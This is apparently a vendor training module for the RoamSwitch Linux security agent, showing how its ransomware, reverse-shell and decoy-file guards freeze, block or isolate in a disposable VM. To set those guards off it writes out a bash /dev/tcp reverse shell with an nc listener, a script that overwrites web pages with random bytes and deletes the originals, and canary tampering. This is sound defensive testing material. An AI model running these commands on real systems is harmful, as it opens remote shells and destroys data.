#What to stop, and what to only report
Some RoamSwitch guards stop things on their own when they detect something. There are three steps: freeze the writing process, cut an account's traffic, or isolate the whole host. Stopping limits the damage. On a false positive, it stops your work instead.
In this module you set those guards off for real, in a disposable VM. For each one you check what you see afterwards and how to undo it. The features covered are Mass-encryption detection, Detection with decoy files, Kernel-level intrusion detection and autonomous isolation and Processes that containment never stops.
The policy lives in these keys of /etc/roamswitch/server.conf. A change to any of them takes effect after a restart (sudo roamswitch server restart).
| Key | Default | Meaning (from the notes in the settings file and the TUI) |
|---|---|---|
entropy_watch_enabled | true | Watch the watched folders for writes that look like encryption |
entropy_watch_freeze | false | Only when true, stop the writer with SIGSTOP |
entropy_docroot_action | notify | Response in a web document root. freeze_writer stops a writer only when it is the web service |
action_on_critical | isolate | Response to a Critical detection: isolate, freeze or alert_only |
isolation_hard_cap_secs | 3600 | Seconds a high-confidence isolation stays full before it moves to degraded |
preserve_ssh_on_isolation | true | Keep the SSH admin path open while the host is isolated |
ssh_ports | 22 | SSH ports that stay open after an isolation |
protected_processes | empty | Extra processes automatic containment never stops |
This only reads. It changes nothing.
for k in entropy_watch_enabled entropy_watch_freeze entropy_docroot_action action_on_critical isolation_hard_cap_secs preserve_ssh_on_isolation ssh_ports protected_processes; do
printf '%s = ' "$k"; sudo roamswitch server config get "$k"
done
ls /etc/roamswitch/guard.yamlentropy_watch_enabled = true
entropy_watch_freeze = false
entropy_docroot_action = notify
action_on_critical = isolate
isolation_hard_cap_secs = 3600
preserve_ssh_on_isolation = true
ssh_ports = 22
protected_processes =
ls: cannot access '/etc/roamswitch/guard.yaml': No such file or directoryA fresh install has no guard.yaml. The notes in guard.yaml.example say that the daemon then builds an equivalent policy from action_on_critical. Create guard.yaml from the example only if you want a separate action per severity.
#Try the mass-encryption watch in notify-only mode
The entropy watch reads the head of each file written in a watched folder. When one process writes 20 files in 5 seconds whose content looks encrypted, it sends an alert. With entropy_watch_dirs empty, it watches the web server's document roots, /var/www and /srv, those that exist.
By default it only notifies. The writer keeps running.
Write 200 files of random bytes into /srv/appdata. admin is the user of this VM. Random bytes have high entropy, just like encrypted files. Nothing is really encrypted.
sudo mkdir -p /srv/appdata && sudo chown admin:admin /srv/appdata
cat > /tmp/fake-encrypt.sh <<'SH'
#!/bin/sh
# Practice only: write file after file of random bytes, which look like encrypted files
i=0
while [ $i -lt 200 ]; do
i=$((i+1))
head -c 16384 /dev/urandom > /srv/appdata/doc_$i.bin
sleep 0.05
done
echo "wrote $i files"
SH
chmod +x /tmp/fake-encrypt.sh
/tmp/fake-encrypt.sh
sudo roamswitch notifications | sed -n 5,24pwrote 200 files
Files that look encrypted were written one after another in a watched folder
🚨 One process wrote 20 files in a watched folder within 5 seconds, and their content looks encrypted (average entropy 7.99 bits per byte)
Host: ubuntu (IP: 192.168.64.28)
/srv/appdata/doc_1.bin
/srv/appdata/doc_2.bin
... +10
Action: Notification only (the process was not stopped). To stop the writer of such a burst automatically, set entropy_watch_freeze=true in /etc/roamswitch/server.conf and restart
Process: admin / /usr/bin/dash / command: /bin/sh /tmp/fake-encrypt.sh (pid 9818)All 200 files were written. The alert names the process and its command. "Action: Notification only" is the current policy.
#Freeze the writer, then release it
With entropy_watch_freeze=true, the same writes stop the writer with SIGSTOP. The notes in the settings file say this is off by default (opt-in).
This changes a setting (it changes the machine). You put it back at the end.
sudo roamswitch server config set entropy_watch_freeze true
sudo roamswitch server restart
rm -f /srv/appdata/*
setsid -f /tmp/fake-encrypt.sh > /tmp/fake.log 2>&1
sleep 5
ls /srv/appdata | wc -l
sudo roamswitch frozen list20
=====================================================
❄️ Frozen Processes
=====================================================
PID 10494 fake-encrypt.sh
Reason: Ransomware encryption burst
Frozen at: 2026-11-12T02:15:39.589880407+00:00
If it was a false positive: roamswitch frozen resume <PID> (nothing was killed — it resumes where it stopped)It stopped after 20 of the 200 files. The alert's "Action" now reads "The writing process was stopped (SIGSTOP)". A freeze also lasts through a restart of the daemon. A freeze is not a kill. Released, the process carries on from where it stopped.
sudo roamswitch frozen resume 10494
sleep 12
cat /tmp/fake.log
sudo roamswitch server config set entropy_watch_freeze false
sudo roamswitch server restart ✓ Released PID 10494 (SIGCONT) — it resumes exactly where it stopped.
wrote 200 files
✓ Server configuration updated and saved. (entropy_watch_freeze = false)Once released, it wrote the rest.
In this practice, setsid -f detached the writer from the terminal. A freeze also reaches the script that started the writer. An interactive login shell is never stopped. Whatever was stopped along with the writer shows in frozen list as stopped together with it.
In a document root, stop only a writer that is the web service
No decoy goes into a web document root, because anyone could fetch it from the web server. There, the entropy watch is the only guard. A document root also takes uploads, so it has its own key, entropy_docroot_action, apart from entropy_watch_freeze.
With freeze_writer, a writer is stopped only when both hold (notes in the settings file). At least 15 of the 20 files in 5 seconds replaced a file that was already there. The writer is a web server account such as www-data, or runs in a web server or PHP-FPM unit. A deploy run as root or through sudo is never stopped, and the host is not isolated.
This changes a setting and creates files (it changes the machine). This VM had no /var/www, so you create /var/www/html/site for the test. Created before the restart, /var/www joins the watched folders.
sudo mkdir -p /var/www/html/site
for i in $(seq 1 40); do yes "page $i: dummy html for practice" | head -c 8192 | sudo tee /var/www/html/site/page_$i.html > /dev/null; done
sudo chown -R www-data:www-data /var/www/html/site
sudo tee /opt/docroot-encrypt.py > /dev/null <<'PY'
# Practice only: replace the files of a document root with random bytes (.locked) and remove the originals
import os, sys, time
d = sys.argv[1]
for name in sorted(os.listdir(d)):
if not name.endswith(".html"):
continue
src = os.path.join(d, name)
with open(src + ".locked", "wb") as f:
f.write(os.urandom(os.path.getsize(src)))
os.remove(src)
time.sleep(0.05)
print("done")
PY
sudo roamswitch server config set entropy_docroot_action freeze_writer
sudo roamswitch server restart
sudo systemd-run --unit=lab-web -p User=www-data python3 /opt/docroot-encrypt.py /var/www/html/site
sleep 8
ls /var/www/html/site | grep -c locked
sudo roamswitch frozen list
sudo roamswitch server ebpf | sed -n 5p
sudo roamswitch notifications | grep -m1 'Action:'Running as unit: lab-web.service; invocation ID: cf81d5d4cd394371aa1a834de688b3ca
20
PID 11717 python3
Reason: Ransomware encryption burst
Frozen at: 2026-11-12T02:16:29.523891021+00:00
Current isolation: [Not isolated]
Action: The writing process was stopped (SIGSTOP). If this is a false alarm, `roamswitch frozen resume 11717` continues it where it stoppedThe www-data writer stopped after 20 of the 40 files. The host was not isolated. Back on the default notify, the same run replaced all 40 files and only sent an alert. Its "Action" line then points to entropy_docroot_action=freeze_writer as the way to stop it.
Put it back. Once released, the writer finishes the rest and exits. You can also stop it with sudo systemctl stop lab-web without releasing it first. On this VM that took 0.1 seconds, and the process left the frozen list.
sudo roamswitch frozen resume 11717
sudo roamswitch server config set entropy_docroot_action notify
sudo rm -rf /var/www /opt/docroot-encrypt.py
sudo roamswitch server restartProtect the processes that must not stop
A database or a work queue must not stop on a false positive. Add it to protected_processes, and automatic containment never freezes or kills it. An entry by name counts only while the executable runs from a system location such as /usr.
sudo roamswitch server config set protected_processes socat
sudo roamswitch server allowlist test "RoamSwitch Reverse Shell" socat --exe /usr/bin/socat
sudo roamswitch server allowlist test "RoamSwitch Reverse Shell" socat --exe /tmp/socat
sudo roamswitch server config set protected_processes "" ✓ Freeze/kill protection: Protected (protected_processes in server.conf, by name). The guards never freeze or kill it.
✗ Freeze/kill protection: The name is on a protected list, but the executable is at /tmp/socat, outside the system locations, so it is not protected (this stops a renamed binary from inheriting it).allowlist test runs nothing. A fake with the same name in /tmp is not protected. For software installed elsewhere, add its absolute path. Some processes, such as sshd and the package managers, are on a built-in list.
#Change the response to Critical detections with action_on_critical
action_on_critical sets how far the response to a Critical detection goes. Here you try it with the reverse-shell watch. That watch reads /proc every 2 seconds. A shell whose input and output are an outbound TCP connection becomes a Critical detection and follows this policy.
For practice, the other end runs inside the same VM. To count private addresses as outside, set reverse_shell_watch_include_private to true for now.
This changes settings and cuts an account's traffic (it changes the machine). You put it back at the end.
First, set alert_only (notify only). The sleep 1 gives nc time to start listening before the shell connects.
IP=$(hostname -I | awk '{print $1}')
sudo roamswitch server config set reverse_shell_watch_include_private true
sudo roamswitch server config set action_on_critical alert_only
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch server ebpf
pgrep -a -x bash
pkill -x nc Current isolation: [Not isolated]
(snip)
[Detected incidents]
🚨 [2026-11-12T02:17:06.871693793+00:00] RoamSwitch Reverse Shell - Logged & Monitored (guard policy: no containment) (Process: bash)
(snip)
12801 bash -iThe detection was recorded. The shell kept running. Stopping the other end (nc) ends the shell too.
Next, go back to the default isolate and do the same.
sudo roamswitch server config set action_on_critical isolate
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch server ebpf | sed -n 5,8p
pgrep -a -x bash; echo "bash rc=$?"
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
sudo curl -sS -m 5 -o /dev/null https://example.com; echo "curl(root) rc=$?" Current isolation: [Isolated: the traffic sent by the process's account]
Isolated PIDs: [13146 (exited)]
The isolated process (13146) has already ended. The rule that blocks its traffic covers all of the traffic sent by the process's account, so it stays. To lift it, run sudo roamswitch emergency-restore.
Maintenance ports kept open: [22]
bash rc=1
curl: (6) Could not resolve host: example.com
curl(admin) rc=6
curl(root) rc=0The shell was ended with SIGKILL. The alert's containment line names the real unit too: "Blocked the traffic sent by the account admin + SIGKILL". As the isolation line says, the block covers all outbound traffic of the account that ran the shell (admin). Root traffic still passes. The host as a whole is not isolated.
Lift the block. The output points to emergency-restore, but passing the isolated PID to frozen resume lifts it too. That leaves any host isolation and other frozen processes alone.
pkill -x nc
sudo roamswitch frozen resume 13146; echo "resume rc=$?"
sudo roamswitch server ebpf | sed -n 5p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
sudo roamswitch frozen resume 13146; echo "resume rc=$?" ✓ Also lifted the per-process network isolation for PID 13146.
resume rc=0
Current isolation: [Not isolated]
curl(admin) rc=0
PID 13146 is not a process RoamSwitch has frozen or cut off from the network. Nothing was done. roamswitch frozen lists the frozen processes.
resume rc=1The shell had ended, and the block still came off. The second run has nothing left to lift, so it does nothing and exits with code 1.
Last, try freeze.
sudo roamswitch server config set action_on_critical freeze
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch frozen list
ps -o pid,stat,cmd -C bash
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?" PID 13566 bash
Reason: eBPF Runtime Guard
Frozen at: 2026-11-12T02:17:40.157739821+00:00
If it was a false positive: roamswitch frozen resume <PID> (nothing was killed — it resumes where it stopped)
PID STAT CMD
13566 Ts bash -i
curl: (6) Could not resolve host: example.com
curl(admin) rc=6The shell stays, stopped (the T in STAT). The account's traffic is cut too. Release it and put the settings back.
sudo roamswitch frozen resume 13566; echo "resume rc=$?"
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
pkill -x nc
sudo roamswitch server config set action_on_critical isolate
sudo roamswitch server config set reverse_shell_watch_include_private false
sudo roamswitch server restart ✓ Released PID 13566 (SIGCONT) — it resumes exactly where it stopped.
✓ Also lifted the per-process network isolation for PID 13566.
resume rc=0
curl(admin) rc=0
✓ Server configuration updated and saved. (action_on_critical = isolate)
✓ Server configuration updated and saved. (reverse_shell_watch_include_private = false)
✓ roamswitch-server service successfully restarted.One frozen resume lifted both the freeze and the block. The output says "per-process", but what came off was the per-account block.
The three values of action_on_critical, as they behaved in this VM.
| Value | What happened | When it fits |
|---|---|---|
isolate (default) | Ended the shell with SIGKILL and cut that account's outbound traffic | Stopping the damage comes first, until someone on call arrives |
freeze | Froze the shell with SIGSTOP and cut that account's outbound traffic. frozen resume lifted both | You want it stopped but kept, to look inside the process |
alert_only | Recorded and notified only. The shell kept running | A false positive must not stop your work, and a person always looks at once |
The price of stopping is your work on a false positive. The block is per account, so other services running as the same account lose their traffic too. Running each service as its own account keeps what stops small.
If you choose notify-only, check first that alerts reach a person, with sudo roamswitch server test-notify. An alert that reaches no one protects nothing.
#Canary tampering and isolating the whole host
Detection with decoy files places decoy files and watches for changes. In this VM the decoys were in /var/lib/roamswitch/canary/, plus hidden files (.roamswitch_security_canary_do_not_delete.*) in /srv, /opt, /root and /etc/roamswitch.
On Server Edition, a changed decoy isolates the whole host (Air-Gap). In the source, this response does not depend on action_on_critical, and no key turns it off. The decoys are watched with inotify and checked as soon as they are written.
This cuts the whole host's traffic (it changes the machine). The SSH admin path stays, but always use a disposable environment.
sudo ls -a /srv
echo "practice" | sudo tee -a /srv/.roamswitch_security_canary_do_not_delete.xlsx > /dev/null
sleep 3
sudo roamswitch server ebpf | sed -n 5,6p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?"
sudo roamswitch notifications | sed -n 5,30pappdata
.roamswitch_security_canary_do_not_delete.pdf
.roamswitch_security_canary_do_not_delete.xlsx
.roamswitch_security_canary_do_not_delete.zip
Current isolation: [Isolated: host_with_maintenance_ssh]
Maintenance ports kept open: [22]
curl: (28) Connection timed out after 5000 milliseconds
curl rc=28
Ransomware Canary Tripped
🚨 Ransomware canary file was Tampered / encrypted write
Decoy: /srv/.roamswitch_security_canary_do_not_delete.xlsx
Suspected process: tee (PID: 13932)
Action: host Air-Gap isolated (the culprit process tee, PID 13932, had already exited, so it could not be frozen)
Process: root / /usr/bin/tee / command: tee -a /srv/.roamswitch_security_canary_do_not_delete.xlsx (pid 13932) (The process had already exited, so this comes from the exec record made at 2026-11-12 02:17:50.)
(snip)
🚨 Ransomware canary tripped (host isolation imminent)
(snip)
This isolation is not lifted automatically when the process behind it exits. Check it, then release it with: sudo roamswitch emergency-restore. Without an acknowledgement it moves to degraded mode after the hard cap (60 min by default); while degraded, sudo roamswitch server ack releases it.A decoy is checked as soon as it is written, so the host is isolated within the 3-second wait. Outbound traffic stopped. The tee that changed the decoy had already exited, so nothing was frozen. The last line of the alert sent just before the isolation says how to release it. During the isolation, work went on through tart exec (the VM's management path).
Check that SSH is still open, from the Mac that runs the VM.
nc -z -G 3 192.168.64.28 22Connection to 192.168.64.28 port 22 [tcp/ssh] succeeded!Port 22 stays open, as preserve_ssh_on_isolation=true and ssh_ports=22 say.
The tee has exited. Wait a little over 6 minutes and check that the isolation does not open on its own.
sleep 380
sudo roamswitch server ebpf | sed -n 5,6p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?" Current isolation: [Isolated: host_with_maintenance_ssh]
Maintenance ports kept open: [22]
curl: (28) Resolving timed out after 5003 milliseconds
curl rc=28The culprit process had ended, and the isolation still held. For a high-confidence isolation, an ended process does not count as the cause being gone.
Acknowledge it (server ack), then lift it with emergency-restore. The cause could not be confirmed gone, so emergency-restore asks you to type RESTORE.
sudo roamswitch server ack
sudo roamswitch emergency-restore
sudo roamswitch server ebpf | sed -n 5p
sudo roamswitch server restart
sleep 10
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?" ✓ Acknowledged the current isolation (388s old). While acknowledged it will not auto-degrade or auto-restore; the current isolation stays in place.
To lift it: sudo roamswitch emergency-restore
Current state:
Isolated (trigger: ransomware decoy file tampering, phase: full)
⚠️ It could not be confirmed that the cause of the isolation is gone. If it remains, putting the network back now restarts traffic while it is still affected.
To continue, type RESTORE:
🔄 Lifting all emergency isolation and restoring network baseline...
✓ Isolation records
✓ Firewall tables that can stop traffic
✓ DNS settings
✓ Connection tracking
These firewall tables were left as they are, as they are not an isolation:
- roamswitch_server: the server's inbound rules (only ssh_ports and allowed_ports are let in; the usual protection)
✓ The network was recovered.
(snip)
Current isolation: [Not isolated]
🔄 Restarting roamswitch-server service...
✓ roamswitch-server service successfully restarted.
curl rc=0Typing RESTORE at the prompt lifted the isolation, and outbound traffic passed after the restart. Answering no printed "Cancelled. Nothing was changed." and exited with code 1. Without a terminal, it prints "Not running without a terminal" and exits with code 2. To lift it there, add --force. The restart puts the usual protection rules back in place.
An isolation with no acknowledgement moves to degraded (DEGRADED) after isolation_hard_cap_secs (3600 seconds by default). Degraded still lets through only the SSH admin ports and traffic to whitelist_ips. In this VM the cap was set to 120 and the same decoy change was repeated (this changes the machine; the cap was set back to 3600 at the end).
Current isolation: [Isolated: host_degraded]
Maintenance ports kept open: [22]
curl: (28) Resolving timed out after 5001 milliseconds
curl rc=28
🛡️ Isolation moved to degraded mode
The host isolation caused by ransomware decoy file tampering (PID 16159 / /srv/.roamswitch_security_canary_do_not_delete.xlsx) stayed in place for 2 min without an acknowledgement. For safety, traffic was NOT restored: the host moved to a degraded mode (only the maintenance SSH ports / whitelisted IPs and already-established connections are allowed; new outbound traffic only to whitelisted IPs). It is not lifted automatically, neither with time nor when the process behind it exits.
To acknowledge and release it: sudo roamswitch server ack (acknowledging while degraded releases it), or sudo roamswitch emergency-restore
✓ Acknowledged the degraded isolation (205s old). The daemon will lift it and restore connectivity within ~15s.After the move to degraded, outbound traffic was still cut. During degraded, server ack lifts the isolation. During a full isolation, server ack keeps it. The same command does different things, so check the current phase with server ebpf before you run it.
If ssh_ports differs from the port sshd really uses, or preserve_ssh_on_isolation=false, you cannot get in after an isolation. Also, with whitelist_ips empty, port 22 of an isolated host is reachable from any address (the daemon logs a warning). If your admin addresses are known, list them in whitelist_ips.
#What you cannot see
- The entropy watch trusts some writers. The same writes made with
python3raised no alert. The source notes say files thatpython3,opensslorgpgcreate do not count on their own. They count when the originals are removed as well - Up to 20 files get written. The freeze comes after the 20th file is counted. In this VM, 20 files were written before the freeze, in
/srvand in the document root alike - Only the watched folders are watched. With
entropy_watch_dirsempty, only the default folders that exist are watched. In this VM that was/srvalone, and/var/wwwjoined after it was created and the daemon restarted (daemon log) - A per-account block is lifted with
sudo roamswitch frozen resume <PID>, even after the process has ended. Theserver ebpfoutput points toemergency-restore, which lifts every emergency rule, a host isolation included - Only low-confidence isolations open on their own. Of
low_secs=300 hard_cap_secs=3600in the daemon log, the 300 seconds apply to low-confidence isolations (source notes). A decoy change did not open after more than 6 minutes in this VM, and moved to degraded after the cap
On a server where entropy_watch_freeze was never changed, many files that look encrypted are written to a watched folder. What happens?
Show the explanation
entropy_watch_freezedefaults tofalse. To stop the writer, set it totrueand restart. A stopped writer appears inroamswitch frozen list, androamswitch frozen resume <PID>lets it continue.
A decoy change has isolated the host. The process that changed it has already exited. What happens if you send no acknowledgement?
Show the explanation
A high-confidence isolation does not open just because the culprit process ended. After the cap (60 minutes by default) it moves to degraded, and during degraded
server acklifts it. To keep it full, sendserver ackbefore the cap.
#What to learn next
- What to do after an isolation fires is covered in A containment fired: the first hour
- Setting up an alert destination was covered in Installing Linux Server and first settings
- Taking a false positive out with the allowlist will be covered in "Tuning out false positives" (in preparation)
- Every key of the settings file is in the Linux Server operations manual
Verified on 2026-11-12. Target: Linux 1.17.39. On a disposable Ubuntu 24.04 VM with the published 1.17.39, freezing and releasing, freeze_writer and notify in a document root, systemctl stop on a frozen unit, the three values of action_on_critical, and decoy isolation (isolated within 3 seconds, still closed after more than 6 minutes, degraded with a 120-second cap, RESTORE and no at a terminal, the exit code without one) were run in Japanese and English.
Command output varies with the product version and the environment. If yours differs, check the version first.